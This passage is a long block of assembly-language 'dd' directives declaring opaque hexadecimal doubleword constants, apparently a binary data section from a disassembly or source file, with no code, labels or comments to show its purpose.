dd 0C6912244h, 0BAF118BCh, 316CBE72h, 2B82C4Fh, 0E8310010h
dd 97014E5Dh, 2D23D2A0h, 41CE8102h, 0DAE35FA4h, 0E5AD4A2Bh
dd 0C200C0Eh, 520BCF31h, 8467B037h, 3D14C8C2h, 0AC0F4738h
dd 388B5019h, 0E0406562h, 289602C6h, 534629ACh, 906B8462h
dd 22081CCCh, 0E441165Ch, 3C0AF12Eh, 0E711A12Bh, 0D9225302h
dd 39705CF5h, 0B142FBB0h, 40B88D5Ah, 6188C707h, 0E7603375h
dd 4A8A40D6h, 27E9557h, 66A85EB6h, 30F0BEE0h, 8552C327h
dd 0A9F4DAD2h, 42AC96B8h, 0B0BE797h, 0F12C3B67h, 2868DCEBh
dd 0F02CD385h, 0B9696104h, 9F419618h, 4AC07318h, 565A058Bh
dd 8C5EB6E9h, 0B0BD57EBh, 0E797D80h, 0E3817E14h, 5469C4BDh
dd 0D40BF84Bh, 5F932C21h, 7410C301h, 0EBD879F3h, 9EB0030Fh
dd 215FE9F2h, 5EF97F10h, 0F74108D3h, 8CC99B28h, 0B15E295Ch
dd 7141D2ACh, 8204FBB5h, 5AA95A74h, 783459C6h, 1DFD0A7Bh
dd 583CE797h, 0A809D611h
dd 4E17965h, 0D8418868h, 55008FA2h, 56517597h, 3FAA70BEh
dd 66DC8A68h, 0E5812D25h, 0E0C2095Ch, 4E9EBB2Fh, 9F29FE50h
dd 0FD960A14h, 142DADCAh, 3818A7Ah, 75B87055h, 0B6B625Eh
dd 0EE605043h, 122D6739h, 922CC02Bh, 1EEE836Eh, 81D64798h
dd 2381FB1Dh, 0E3C16104h, 2EB4E20h, 29C4327Dh, 3ED81DE9h
dd 8830B000h, 9F0458C3h, 2CD83A28h, 168E255Ah, 0EB2D73A1h
dd 70C0E65Bh, 0CC5F280h, 0D7F6FA86h, 8A4D209h, 8867E925h
dd 5CC478A1h, 0F8C28E85h, 0CB70E356h, 4CD4E36h, 0BBE51FFh
dd 0FF9D0AC1h, 9470FE05h, 0ED07A6F8h, 0E4317B71h, 30ECA89Dh
dd 624BAA5Fh, 6585C8Eh, 0E1935D3Fh, 76BFD17Bh, 4085213Bh
dd 0D360CDCEh, 58C04F5Ah, 0B03E7333h, 12DFFFD2h, 0FD05E577h
dd 88F02F8h, 638950F0h, 0BBEFE072h, 29442768h, 70A817E5h
dd 41817C4Bh, 52E895Dh, 4954F650h, 5200F7A2h, 4B741ADBh
dd 97555E3Fh, 54E62163h, 14D25909h, 0B7688822h, 9AEB9F5Ch
dd 0DC6D4264h, 205DA49Fh, 79E7419Fh, 0E95E2FEBh, 0EE2826E2h
dd 109F8B5Fh, 2D00504Eh, 21E457DEh, 0F5090540h, 0E58C885h
dd 60C0727Dh, 9DCF281h, 1DFFB24h, 82FA2D0h, 98286E3Ch
dd 238A13D0h, 0D1A70941h, 3108B288h, 386F34h, 0E0DEED80h
dd 9588C4EBh, 15A0415h, 0A9EC4F85h, 0F9E90DD8h, 0B9018D9Eh
dd 5B1D2E56h, 0FE5F1220h, 493D2F8Ah, 0F6046F96h, 3144432Fh
dd 5DEA0E9h, 844B23A7h, 0FD57C461h, 796684A5h, 3EC45E0Eh
dd 0E424AE52h, 1E4692C3h, 907C7C3h, 7B64CCBEh, 3060B53Dh
dd 2C584B0Eh, 3FBC9BD1h, 0E56B0712h, 0CFC8CD0h, 0C4F16114h
dd 176E770h, 2447295Ch, 68D92C3Ah, 4E66522Dh, 7A1582CEh
dd 6344FD6Ch, 75C4FE74h, 965CB12Ch, 40E96174h, 57060517h
dd 9DE4D595h, 926CD22h, 515BAB22h, 67FE987Dh, 6F2E215Dh
dd 5392F21Ch, 4EDB4723h, 0CC71EFFh, 546722F3h, 0F266339Dh
dd 48765891h, 834A3821h, 17D0EE97h, 315AEA9Dh, 0BBA29B59h
dd 4D5B8D34h, 404B3D01h, 0AB4526E5h, 8D2EE91Ch, 9FE2B908h
dd 60482D6Eh, 0BB04538Bh, 2CC2ABDh, 7016B1C2h, 4C685129h
dd 4C5C6290h, 0B0525CE2h, 5E10E957h, 0BDBC94C2h, 0CB523EF7h
dd 3A0C4C80h, 843D5F72h, 0A30712DCh, 5C583F15h, 5A4589FCh
dd 12F220E2h, 0F1940598h, 6BDAB900h, 90297F18h, 44ABB064h
dd 967BC571h, 0C70C81E5h, 352F7532h, 0A172CE7Ch, 2C7A5D08h
dd 0ECA94678h, 16E605Ah, 0A4B68B4h, 5987E2E9h, 2184C829h
dd 0D654C9D2h, 742B02C2h, 0D0607139h, 0B44A458Fh, 6BDC44C1h
dd 31E93AF4h, 0A74D0301h, 0DF5C0378h, 44AEEDD4h, 1EC49C74h
dd 0AB4E2CCh, 0C60ECBB1h, 0ADBF14D1h, 5187C2EAh, 0E35194B2h
dd 0A15E7B04h, 3832827Ah, 0A2E61AA9h, 2B151BB6h, 0EEA44B99h
dd 0D7785FA9h, 3F90F2F2h, 805BE648h, 0EEC4EB2Eh, 63492B12h
dd 81F7C0CDh, 0A5E15CF5h, 0EAA78D3Dh, 0E98B4015h, 531D6064h
dd 21D71C68h, 0FDBB7D29h, 5B1A8ACAh, 212E2A89h, 2CDAACEFh
dd 0EBE797F7h, 0FD6C8334h, 0B2972E07h, 0E944B58Eh, 9CEEF0C9h
dd 9478E411h, 0D52971D0h, 29AB605Ah, 59884200h, 48DBE781h
dd 8B684F89h, 36B201BEh, 0EF0907B3h, 0DDCDED21h, 9D2B5C30h
dd 4AE95681h, 0C424253Dh, 24BC383h, 302768CBh, 0B3DD8848h
dd 0B05BDA88h, 3DE60B3Bh, 5204191Ch, 1AE00104h, 0EAE569B8h
dd 776C6488h, 11B12993h, 5324CB0Eh, 0AD6312A9h, 31A8D2EDh
dd 0D230E4D2h, 11C7B649h, 422C6B4Dh, 98BE9485h, 491EA0D7h
dd 0F8A3534Ah, 0FE192579h, 3FF0D544h, 2C5F3D5Fh, 2C936D5Fh
dd 1C76D800h, 4814BDEh, 0F039F3C6h, 28F6FC2Bh, 3EA108EEh
dd 0B3129FD6h, 89714D8Bh, 0BBF2C01Eh, 0CE761652h, 630AC042h
dd 27B45C0Dh, 5FA95304h, 4A1CCAC8h, 4DDFE3F7h, 82474920h
dd 46E270E9h, 0A0D0A235h, 503DB79Ah, 7CFC7288h, 0DF6969E6h
dd 47F3958Eh, 0D3E7B75Ch, 99053F31h, 5B0E3AAFh, 4A42E445h
dd 630DD01h, 0AC426C4Eh, 0B254C27h, 5DAE5520h, 6850CF80h
dd 2201A5B1h, 0C53158DCh, 0C43CEDE9h, 12131E5Fh, 9DF85694h
dd 20C97D2h, 5C3882F3h, 5066C300h, 8095B551h, 0C2F3C52Dh
dd 8457D98Bh, 0B26D6A68h, 0E14E734Ch, 0B8D4B0A3h, 495B1A52h
dd 1A205870h, 2BABF781h, 890262E6h, 0E5C15FFDh, 7D8F6006h
dd 113D580Ch, 2E77F500h, 8EE9B043h, 0A4F3594Ah, 36519069h
dd 2ACC2D44h, 51634036h, 6A32EDEDh, 7608E15Bh, 1C42B226h
dd 491D5DC5h, 8C6034E9h, 1A0F6855h, 0D867D977h, 32261388h
dd 0D0C2160h, 89464B40h, 7092EE7Fh, 0E9095A9Eh, 96742C7h
dd 5A8C59Dh, 0C358E530h, 60986F9h, 0ABFEE92Ch, 0E0264840h
dd 0F8B98167h, 5F5C6328h, 263607D2h, 0D3AE6F72h, 0E5402086h
dd 0A1B2E5CCh, 682CDD7h, 659AE9BFh, 1E02865Ah, 0F76D6121h
dd 507941DBh, 1609DEDAh, 89384928h, 0ED8AC0CEh, 7CDF8202h
dd 5EF0826Ch, 0BD7A5300h, 58D81560h, 14F24AE9h, 0EA0EA9EFh
dd 5A2B30F7h, 9E593C20h, 0EB7ED115h, 165ECB06h, 4987D48h
dd 49133FD8h, 217D8029h, 0E92F5AD0h, 0BFBCE044h, 1E4226D6h
dd 0E0CF01A8h, 200A5F3Fh, 5E089C1Ah, 130132B8h, 752F829h
dd 58E7216Ah, 0E9173315h, 0FCDA0AE1h, 0B1405090h, 5476E282h
dd 343363ADh, 54823A73h, 352666B0h, 9EC3892Eh, 6C218925h
dd 9A2AF860h, 0B2BE0C5Fh, 0EEBCF927h, 0E4427A0Eh, 0E3F6C00Bh
dd 0C02CBF2Fh, 4EAF8B0Ch, 76942934h, 19C00417h, 79B4B151h
dd 5DFEB080h, 0E34B36F8h, 0AFE9C229h, 95CBEEEEh, 8272AF8Fh
dd 0FBF45DBDh, 0AC791AD1h, 4C36F206h, 0B34A52C8h, 237AA2A1h
dd 0DB04EDECh, 4D58C521h, 2F0B52FCh, 0DD605188h, 0D4B161C4h
dd 0A89B2D69h, 1DC88660h, 8A06ED08h, 1EC585Fh, 4E8E274Fh
dd 18F93047h, 32AA1D03h, 48F4CCE9h, 620B6199h, 5A424FDBh
dd 6EE0C75h, 0AFE8FF03h, 4B1879C7h, 0EF56C021h, 23640F25h
dd 0C0E0D122h, 0DE300458h, 0EDF0285Bh, 0A19774D9h, 0AAC5F29Bh
dd 0E62C57F5h, 5CC20352h, 5BD6F9F6h, 847509AFh, 47CC1374h
dd 40300FB8h, 78A93869h, 0D7947F50h, 980B2DBBh, 80778A66h
dd 0F700E0D1h, 2D8405D8h, 90011FBEh, 30142530h, 744C11D1h
dd 290740F4h, 8B02FA78h, 66685A0Ah, 69E44638h, 9C408254h
dd 411225BEh, 450D5A68h, 517C0D21h, 0C7427C27h, 7C49A345h
dd 685E4C3Eh, 4F13E92Bh, 344B5B9Fh, 0FA5FE64Dh, 55DC1401h
dd 6101F647h, 0E926DB1Ah, 0D7402FD4h, 3C22DC3h, 0C26095DFh
dd 0E0FBD55h, 0E11DF24Ch, 8C467DE5h, 41DDCC30h, 0AF60D411h
dd 0E1B8AFA0h, 78172EFAh, 0B1914429h, 0AE7D5D4Bh, 0B3DCB8D3h
dd 10D1BFDh, 18F088EBh, 5D4A4652h, 2042C9F4h, 0C5B1DE22h
dd 0D11C8B89h, 86E9617Bh, 0F3CD526Fh, 0E35B23E3h, 9009834Bh
dd 81DCA0DCh, 2222D2Dh, 0C507D35h, 0C253C074h, 0CB88803Fh
dd 0BF63C9EEh, 0F9FCB92Eh, 713C0852h, 71FA417Dh, 20343F28h
dd 122118FFh, 4B243B60h, 3008A28h, 0E9B12CD2h, 81BDE708h
dd 9ABB4494h, 41D42E12h, 3665EAB7h, 0ACD9CF94h, 0CBF369AEh
dd 841D7957h, 0EE0BB0E9h, 575D8C32h, 0E917ED94h, 31D2070Eh
dd 118C7D59h, 0C0B256D9h, 3966CA09h, 4DA87940h, 840F057Eh
dd 321EDA2h, 0AC6235EFh, 7D0C0402h, 0F9587623h, 0A00841B6h
dd 5D12140Ch, 2349E4E9h, 305E0632h, 0CBEC5807h, 0ECF95D7Fh
dd 6D1BBA02h, 0F601AE3h
dd 0B6280EC4h, 3A028F11h, 29DB2B37h, 77A442D1h, 3CAB5D11h
dd 88500E11h, 58E642CCh, 60396259h, 9FD1406Bh, 0BEB28E46h
dd 9F7B9CB5h, 13546129h, 21CF680Bh, 539BE9D3h, 6B84993Bh
dd 0ADD59021h, 78A8EC04h, 200E974Eh, 76C813BBh, 5B3B1331h
dd 82DFB259h, 66467A68h, 4D21F023h, 51807060h, 35087973h
dd 4A25200Bh, 0B633034Dh, 0FB411249h, 9FF6073h, 4C04B929h
dd 2AE3E947h, 4B7773ADh, 0F8B78512h, 7004049Bh, 0B6F4C388h
dd 303D4A25h, 0B97C3579h, 713B2E59h, 77203E04h, 23A9EA29h
dd 9955EFC5h, 0AE40BD3Ch, 0BD81A7BCh, 0F7B11D29h, 311F906Ch
dd 0AD1ED3F0h, 0B9F6193Dh, 3B78FDD2h, 7013CA4Ch, 7F25F3BAh
dd 0C113C64Eh, 4EADA413h, 7C37BC4h, 0BBE2A3BEh, 0C8F4C061h
dd 4231F316h, 0ABF5096Bh, 0F7269B58h, 0EF1C8DDFh, 84180807h
dd 15BD7E2h, 481DDA68h, 288006FBh, 5096EEE3h, 174640FCh
dd 0B480C62h, 7527FD13h, 56157255h, 0B32F1E5Dh, 0CF766907h
dd 6831E942h, 184BB360h, 64EEB80h, 2DDA68E2h, 836E688Eh
dd 3B358031h, 8DC46E1Eh, 5AB0BE93h, 4D0502ADh, 522F4768h
dd 83E4F8D6h, 403D4BE0h, 53C4314Fh, 2D006A60h, 4CD5E88h
dd 0DB054807h, 29A275F3h, 0DEF442C2h, 0D86FCF71h, 6347E1C0h
dd 39170535h, 5D0AF932h, 8F9FFFA5h, 410921A6h, 3BACE9ACh
dd 0BA520D80h, 258B30E1h, 98D5313Eh, 0C7E74B63h, 9BFE480h
dd 0F045866h, 0E40D7904h, 373A1752h, 0EEC18A4Ch, 1D00F708h
dd 0E93C0374h, 2EC0BAF2h, 1338F729h, 160152F0h, 24F061Dh
dd 8C137A41h, 400BC52Bh, 2CFD6126h, 986604FCh, 7ED87520h
dd 66365DFAh, 2CA9B902h, 0F484302Ah, 5AD9E40Bh, 670CEAAh
dd 862A5502h, 82DAF702h, 855EBBBAh, 0DED29C5h, 0B41F5CC5h
dd 705B77EFh, 4B4AD78Bh, 0E9B155F3h, 44007A52h, 0E96C9657h
dd 0D0BB4ACEh, 0A8F972C9h, 589F13Ah, 58C1015Fh, 2668B4E0h
dd 692C73E2h, 5F6F989h, 2C8BE841h, 0B9580507h, 3BB4D697h
dd 52AD4067h, 5090B207h, 0C5B4E1B4h, 0B169EDE8h, 44B14F9h
dd 72EE598Bh, 0A1641888h, 0B0AB3420h, 17337C07h, 0B06611C1h
dd 1DD626E6h, 49195CD1h, 0F8D95D92h, 24C5D0F0h, 10A8C643h
dd 5567BF09h, 5DFCA417h, 0D3E5DAA4h, 0F4A3ACADh, 52256EF6h
dd 6EA5B9C7h, 0CE919DFBh, 7AF4A66Ch, 97F11C16h, 0BD6FA6Ch
dd 0B5594FC2h, 1492F3Ch, 1C5F21DDh, 0B19CD5ACh, 800CA2D4h
dd 255AD0F1h, 2D3121F0h, 8984407Dh, 0E8C1202Dh, 7C47F007h
dd 0E9B40CE4h, 0EBEDB10Dh, 6213EC04h, 75A05F4Ch, 0E2DD4ABDh
dd 63D44A79h, 43ADE120h, 293B21A9h, 554A3C17h, 87C9BB52h
dd 0CBCBA0B1h, 0C5FE10Ch, 89A0BE38h, 0E62AE9CAh, 0EE4BB80Fh
dd 0A31FD2Dh, 0C174053Fh, 0CB30C0E3h, 9ECF2999h, 0CA432CD1h
dd 700A26C2h, 0E4501716h, 0D70EEE2Bh, 0C005EA62h, 8B287FCEh
dd 0DF0E9840h, 993EE12h, 18E2AD9Dh, 0E63A05Fh, 5A5A5860h
dd 0BF33345Bh, 845C6270h, 205490C8h, 6D9FA9E0h, 0A7B624ECh
dd 680097E5h, 460F3B74h, 4F905Bh, 22E11A06h, 0D2F7D687h
dd 0DEBA08D8h, 0B8FA580Ah, 4B71C604h, 0F31DC110h, 0C8B0835Eh
dd 4825426Dh, 0D74B73C0h, 2E0FDBA5h, 0B34BF400h, 255C05B5h
dd 3B322664h, 29072D14h, 0D4BA4D5Ah, 95845877h, 0EF6907A6h
dd 0EDC1801Ch, 0F020E128h, 5B54246Fh, 6852C1A1h, 0A041502h
dd 17AD57C0h, 0CD2AE40Eh, 58C629A3h, 45EBEA9Eh, 0F0E6820Bh
dd 2D63CA8Eh, 29927210h, 315802F6h, 9E6817C3h, 0DCF5CC11h
dd 47677E55h, 0D043D5BBh, 0B32E5C3Bh, 0CD814F00h, 5F69361Fh
dd 0C9F75155h, 0A5242D3Ch, 1A007ECh, 0C85699EBh, 0B626842h
dd 0D190DE58h, 0BD90A64Bh, 2E7B40C6h, 2521526Eh, 0CAE9A849h
dd 5F17EC74h, 915F448Ah, 40B9748h, 59127FACh, 926FEC30h
dd 0B76C7CB1h, 3CDDE9A1h, 0CB2912F3h, 55891F03h, 8AA810D8h
dd 68511D19h, 4B9B5241h, 5DF44959h, 96A0BBEDh, 63C9C739h
dd 0BCBC9968h, 0DBFDC170h, 7E82BDEFh, 766B16F0h, 0D4CEB641h
dd 0EA9D23E4h, 1C080D7Ah, 3DBC1405h, 0CFD821C6h, 59A8A295h
dd 0EB0B0EE7h, 90716587h, 9FB35351h, 2EFB665Ch, 0BE8164ADh
dd 3EA07B0Ah, 1CE7BBFCh, 43012751h, 0A4E95BD8h, 0F6C44896h
dd 1C182CF8h, 287BDC2Dh, 0BCE5794Eh, 0B3B6461h, 0A052BE04h
dd 1ECB814Ch, 0DA43EF08h, 7C742945h, 0C445210h, 0A17EE913h
dd 56622AFCh, 4C7392CFh, 0F2C09517h, 263A44E9h, 1EEF1A69h
dd 965AF134h, 0C957E2D7h, 97EA5008h, 3EEF7531h, 30E94828h
dd 5A2CA8AEh, 0CF1EB151h, 0DACCCB28h, 9FCA370Bh, 0CF8BAFC5h
dd 88A85111h, 10AC52Ch, 3916A7E8h, 0C83F709Dh, 0A74A6AABh
dd 0CE217741h, 0E3DAD4EAh, 4BB5B87Dh, 8B61ED29h, 885D0800h
dd 3493AC01h, 0A84548E9h, 69B35A30h, 0FE29628Bh, 0B57C4774h
dd 0E4E9A081h, 95296EC6h, 0E90CCC23h, 0C13F30B7h, 55E6C276h
dd 1902F1ECh, 0E9E47D92h, 2D5AF66Eh, 36324A9h, 20F6E4Ch
dd 0E3E9597Eh, 808791A6h, 4C21CEE8h, 0B71C2C45h, 0DAE3E57Ch
dd 0E4F51202h, 0DE3D3F1Fh, 0B31177Eh, 0B26189BEh, 0FAD42E07h
dd 0CA921BEDh, 4D681FDEh, 25C946EFh, 0F3912D5Dh, 0F0E32155h
dd 7B980637h, 4FC0484Dh, 508712E2h, 36A8E8B8h, 8C21D10Bh
dd 687AC80Ch, 0C201804Ah, 27B628EEh, 0D3488927h, 401C42Bh
dd 33F0A7E9h, 72D04C21h, 8933045Eh, 0A040FC34h, 0C5D72BE9h
dd 800A0D20h, 5405567h, 12092490h, 84C70180h, 0B7B04A57h
dd 0C49E915Ch, 0F7B391E4h, 0FFC760D7h, 0E7814702h, 0E3E8202Eh
dd 762EEE1Dh, 0FA0127C0h, 0F083BB14h, 0F5279CF4h, 3905EF40h
dd 1DB05943h, 0AF533FEEh, 6B546760h, 0C36E223Ch, 0D613A86Ch
dd 46AA0EF5h, 9371260h, 0BB4AE9EFh, 12D00585h, 0B7103168h
dd 64204A4Eh, 78564C59h, 0E80F5B05h, 0E71CAB71h, 8007EBCBh
dd 95092B80h, 812CB20h, 0F416AE72h, 34EDDF0Ah, 0DE53725Ch
dd 5EC5FB11h, 5C045E8Eh, 8166D020h, 292B3649h, 6EA0782h
dd 0DCC95EF6h, 0CEF58B1Bh, 0BFA4E159h, 0CD617B0Ch, 9A4D98C7h
dd 506816F5h, 0F5B6CD65h, 4F757E10h, 0B7048D8Bh, 0BFDFF647h
dd 6841D167h, 0D02B6D08h, 0E92FB596h, 5105225Fh, 1D83D8F7h
dd 24B89DCFh, 69DA01B2h, 3F3C8600h, 81EDD113h, 86F664E5h
dd 0EEE4816Dh, 7CCD6142h, 0E4F24B7Eh, 508E5E0Fh, 0BB010136h
dd 2F16821Dh, 0F5A06B16h, 5D0BA1C6h, 0E9A05978h, 0A4B5BF67h
dd 48FCF8CEh, 20024E79h, 0F312D6FCh, 490C2B61h, 9320C726h
dd 87ED0FDh, 16623D50h, 167DF5Dh, 0A51BB531h, 0B2123066h
dd 370B4F13h, 0A1EFEAB0h, 142E5E08h, 0FB7E896Ah, 0B4D8A7FDh
dd 0FD291CC3h, 0D551655Fh, 14D4E986h, 0C6EEF194h, 0C0689DD9h
dd 0FEB8EFB1h, 0F75DA87Ah, 0D5CD4B7Fh, 47680D89h, 0B88945Ah
dd 0EC99BAE9h, 0AF97ED09h, 0D31B6654h, 0BBBD0116h, 0B93D4903h
dd 980BA4BFh, 0E1025DA4h, 0E201B764h, 237C4178h, 0F14F6366h
dd 457BC2CEh, 1BBA5280h, 0B0499F64h, 0F65FA1CBh, 0FD945B59h
dd 0AD162766h, 77BBEDD1h, 5D5D7932h, 521BDEF5h, 0BB02D484h
dd 73F0DE35h, 0D6782CE9h, 6856B044h, 4B94400Bh, 696FE941h
dd 0D2DD119Dh, 41EAC3B4h, 37D057EAh, 0D0273F99h, 593C42DBh
dd 0C4B6098Eh, 244D8968h, 21FA3B80h, 633D60h, 386482BDh
dd 59FB4542h, 0B924597Ch, 2740E2Ah, 37BDCB7Eh, 0D10AFCFBh
dd 5460AF7Dh, 0B5EFF3E9h
dd 80313214h, 0A0E117B5h, 0F62D39C0h, 68FEA8A6h, 4F6458F9h
dd 0DC2151CFh, 73536F41h, 1AE0844Dh, 0EB8DA012h, 89C32C3Ch
dd 9DF299Dh, 0F68DC29Bh, 848BCF96h, 405DE1C0h, 68713095h
dd 0DB763E5Bh, 3E9D9E3h, 0F2012D1Dh, 20AD4DDDh, 0B240F538h
dd 0E956F675h, 26A0FE54h, 14741A8h, 4C7F283h, 0FC9640BEh
dd 5F270315h, 780B990h, 334EE95Bh, 4166F307h, 0EEC1E22Fh
dd 19335DBBh, 43DE93F7h, 0EDD829C1h, 0E12DF55Bh, 1089406h
dd 0A80B13E4h, 3B04A3A3h, 0F91CE24Eh, 55670121h, 542964F3h
dd 6C2910BEh, 40EF200Ch, 0A4BE2941h, 0DA5FB203h, 0EEF60110h
dd 0E9300C35h, 6362254Ch, 292D7A3Fh, 51AD2B28h, 57DE1FBCh
dd 680F420Ah, 15466AB6h, 0E4ACB55Bh, 0E8287F0Ah, 6BA25BF2h
dd 7A3AEDD4h, 9A319F4Ah, 38E960B6h, 3B66F0C0h, 2814B753h
dd 715C8CF8h, 50520077h, 0E8C058B0h, 42B8FE03h, 0C8167674h
dd 414951E9h, 0CBA15166h, 0E958DD5Eh, 0D4D25415h, 3DE23A68h
dd 0B2D3135Bh, 0ED8382FAh, 6BB25702h, 15206ADAh, 6BB80463h
dd 0C21C5E68h, 0A880D90Bh, 0CFE2E90Ch, 6834A1B7h, 383B104Fh
dd 0E917D364h, 46233A9Fh, 0F3BDB0F5h, 0CC5AFA29h, 682F8821h
dd 9872D625h, 166A28D8h, 0A8094725h, 0E0569221h, 68F164F9h
dd 4FD4D2D0h, 48A5C160h, 1323BA88h, 0F55FF821h, 3FEBD1B1h
dd 1659C6DCh, 0BDDA96E9h, 889723FCh, 792DA14Dh, 138AACB0h
dd 0D32FA954h, 196C7200h, 49E9180Ch, 0F64E8030h, 0B18843Ch
dd 47B85003h, 6A5BBF99h, 0D95AD509h, 0AAE98B92h, 1C5D7D42h
dd 0C0772026h, 32786473h, 73A53E2Ah, 0D38304B5h, 5A0E521h
dd 8389308Ch, 7BF814EAh, 93F15E5Ah, 9608E1C8h, 95CDC470h
dd 350DBEB7h, 0EFD4AF2h, 0E92C7E20h, 6897907Bh, 35CD508Ch
dd 21608F6Ah, 0CA267FEh, 2EFEAA57h, 20E616B8h, 1C0A42AEh
dd 7112614Ah, 0B8062405h, 8D3FA429h, 61B8AD5Dh, 397B5F72h
dd 458D3464h, 4AB3324Bh, 6A0B441h, 2F6770DBh, 0B4706298h
dd 0A9B8C5D2h, 4C19A3F4h, 241C2069h, 16A7C601h, 0C51A913Dh
dd 8F420313h, 119292D5h, 40CDEA4Dh, 3F043B62h, 6990349Dh
dd 845E2D0Ch, 6A906E67h, 941BED68h, 6E50590Ah, 195837C0h
dd 0D5F73037h, 2A85E904h, 0E7039691h, 0DB71615Eh, 541712CBh
dd 0FD85DD58h, 2391652Dh, 0D0807B0Eh, 6818C99Fh, 0E1A0615Ch
dd 92A37225h, 2A3B5788h, 1A020C2Fh, 0D32B05B3h, 0C6A490E4h
dd 30CE0159h, 2451273Fh, 80BC55Bh, 0B5D714E2h, 0E919C466h
dd 5922C3E7h, 21813D7Fh, 19DE0BB6h, 0F2EC84B6h, 9DCD6181h
dd 304E2756h, 710B0D79h, 8C21404Fh, 2CE1E84h, 0E9389851h
dd 2273506Dh, 0A0BC163Dh, 10B6C120h, 811A0003h, 0FBCB30EAh
dd 0DC4AE947h, 5E5F190Bh, 0A2F9534Fh, 689A4B0h, 2211D803h
dd 460F053Bh, 901BC63Ah, 1F5F31D5h, 0E016A36h, 410A8B22h
dd 536A17BAh, 4160FCA0h, 64806129h, 0FD77013Fh, 12FE4A2Fh
dd 62B08494h, 3A2277E1h, 7E10AA48h, 101ED26Dh, 0A3FAF8Ah
dd 0BFB2E984h, 0A3E267AFh, 142FAA25h, 86C09121h, 0A65B6A3Ch
dd 90CE4B90h, 0F883E91Eh, 20159D70h, 3B07E904h, 884A5914h
dd 27997FFBh, 2B0FC101h, 75ED5197h, 3E708C28h, 0CA4B2CF8h
dd 0EB800BC0h, 876DB3Eh, 5F131007h, 36A27804h, 3D0ECB91h
dd 542C0B33h, 0F5B901F3h, 4062B250h, 494790CBh, 0D93F01FAh
dd 11E125E9h, 497BB6CBh, 774E2E3h, 0E9A95469h, 8493980h
dd 0E92A17E3h, 71908DD5h, 82949E5Fh, 2B77C9C7h, 5C1624B2h
dd 5972609Bh, 62B57568h, 0E8E64429h, 91030B2Ah, 57D089C9h
dd 6445A627h, 0EFF013B8h, 0F33984F7h, 78E90DE5h, 9D219D3Eh
dd 0A2601828h, 71037DB0h, 7BBC689Dh, 0B36B04C4h, 0A43D4BE9h
dd 454B1A40h, 812FA98Dh, 7E7B8FEEh, 0E7F47031h, 5F362500h
dd 35674E01h, 55EE34C2h, 0C4C1F2FCh, 80E5D11Eh, 7C62EAD1h
dd 0A2B0445Bh, 13F704A6h, 805DEE21h, 0B401CA36h, 0E2E0725Bh
dd 6D4004CCh, 0A2F41BE9h, 1DE64892h, 0FC077D3h, 740DA9BDh
dd 0FD31273Eh, 0ED22B196h, 447EC101h, 0A0516045h, 7417FF8Eh
dd 0BD006B3Bh, 90398FF1h, 0CD2916BEh, 0E9DAF059h, 6E026325h
dd 0EE833B45h, 548E307Eh, 47FFF61Dh, 0A4797F3Dh, 5280669Dh
dd 455B2D68h, 425A2601h, 0FA30135h, 6AD11C46h, 0D1505B82h
dd 3CD4244Bh, 0F7005749h, 98DB35D8h, 9503C1Bh, 0EB1F81DFh
dd 3E927E47h, 0A70A5145h, 50003516h, 815A75DDh, 38D701CAh
dd 0EAC111AAh, 31F2E402h, 1D7FCF17h, 6812058Eh, 4FCCB3A5h
dd 0C729D721h, 2EC0EAADh, 233014BFh, 0E0CFCE17h, 0C2D8786Bh
dd 7A3F1A0Ch, 0FAF382F7h, 6064E27Fh, 4F17E9CDh, 6666A340h
dd 0D615D3E8h, 7E90FC9Ah, 5A5E317Bh, 0D676B64Bh, 9A89C95Fh
dd 0CE5E4691h, 724E7C09h, 0E9593057h, 2251623Bh, 0B0DDE0D3h
dd 47948F0h, 28E907AEh, 0B5C9ADE2h, 5E50A89Ch, 0D0B07310h
dd 3E3D1CE1h, 0EB87C534h, 0FEB822B4h, 0B9026275h, 327DD829h
dd 25948634h, 0F788273Ch, 7BF64342h, 25B77DEFh, 2D9BDD53h
dd 0AEDAD220h, 8213D469h, 0F3E1AA0Fh, 8CE94168h, 8059003Ch
dd 5DA879C3h, 0FE79C73Dh, 0BF93B28Eh, 11387780h, 0FAF8D387h
dd 6609A592h, 0EA2E6A68h, 0BE567460h, 8F8A5132h, 50816821h
dd 0D826E666h, 5568C7D5h, 0EE10201Ch, 5A3BF588h, 0F68D0B52h
dd 0C56885DEh, 297A8529h, 0BAF615D9h, 0D747A838h, 0DF05FD91h
dd 25627D48h, 9785FDF8h, 6CE9E0A8h, 84FCCB14h, 8705192Dh
dd 8F1B83D9h, 7F0E99C9h, 3152DC0h, 6BE92763h, 6DE6A869h
dd 5560A582h, 9C8BF0Fh, 60FA6856h, 0E942B2F9h, 58207F44h
dd 0A41FC8F5h, 0EAB0774Bh, 5FD34A2Fh, 0A0C5C053h, 310F72BDh
dd 0E95DEF05h, 0B3A21F82h, 8EF5026h, 6C2F42A0h, 970F98F9h
dd 66288AC4h, 50959EDBh, 6CF71EB3h, 265A630h, 6B5040A9h
dd 4AF0E140h, 149B101h, 0C791E9D5h, 1196A622h, 24747853h
dd 0B1A2EBE9h, 29527C9Eh, 80C0C908h, 80DAF65Dh, 33DE73C2h
dd 2C0616E2h, 0E9C81206h, 0C0C3361Eh, 0A1DB0D9Eh, 0CAB421F3h
dd 0CB21A6A0h, 0BF74693Eh, 0B5799E03h, 58E9B026h, 0C628D65Ch
dd 36E067Bh, 8F0AE4C2h, 87E378C3h, 5F76DDD2h, 0EE7E11A0h
dd 0E8925D5Ah, 9A95E94Fh, 627AB1Ch, 7FF46649h, 9A032587h
dd 4D6A38Bh, 0E53C5552h, 0C597EF7Fh, 0D84427BCh, 0F7196A62h
dd 208FC0DDh, 3D13262Dh, 778002CCh, 6F5078A1h, 81204C48h
dd 3DCA05F3h, 0CDD9007Bh, 61C43316h, 34012890h, 0E9190F28h
dd 73B54423h, 1B1401E2h, 3F7E1C25h, 0D968E702h, 802F792Fh
dd 0A70FA2F8h, 9B7E5E9h, 2534DE4Dh, 795E2D62h, 4BC39F54h
dd 99327A2Fh, 9D3C25D9h, 929DB34Eh, 4913ACF0h, 505085Bh
dd 0FFEF4C01h, 6ECBB017h, 1682F64Fh, 212C5BDFh, 0C04671E9h
dd 3DAFEAADh, 0CD43E1Ch, 0CB0538BAh, 0FFD166F0h, 0F3CE253Eh
dd 517C324Eh, 2B9A6158h, 0B5EB5748h, 9DEB12Ch, 51B71A16h
dd 307E5EDh, 0F55B73C8h, 590700F3h, 487BA6BFh, 0B429C634h
dd 93313BAh, 6900579Ah, 1A655393h, 0DEC82D07h, 0C68DA012h
dd 0C58001FAh, 0ABD1208Bh, 0A426D94h, 568209A8h, 0F409CF16h
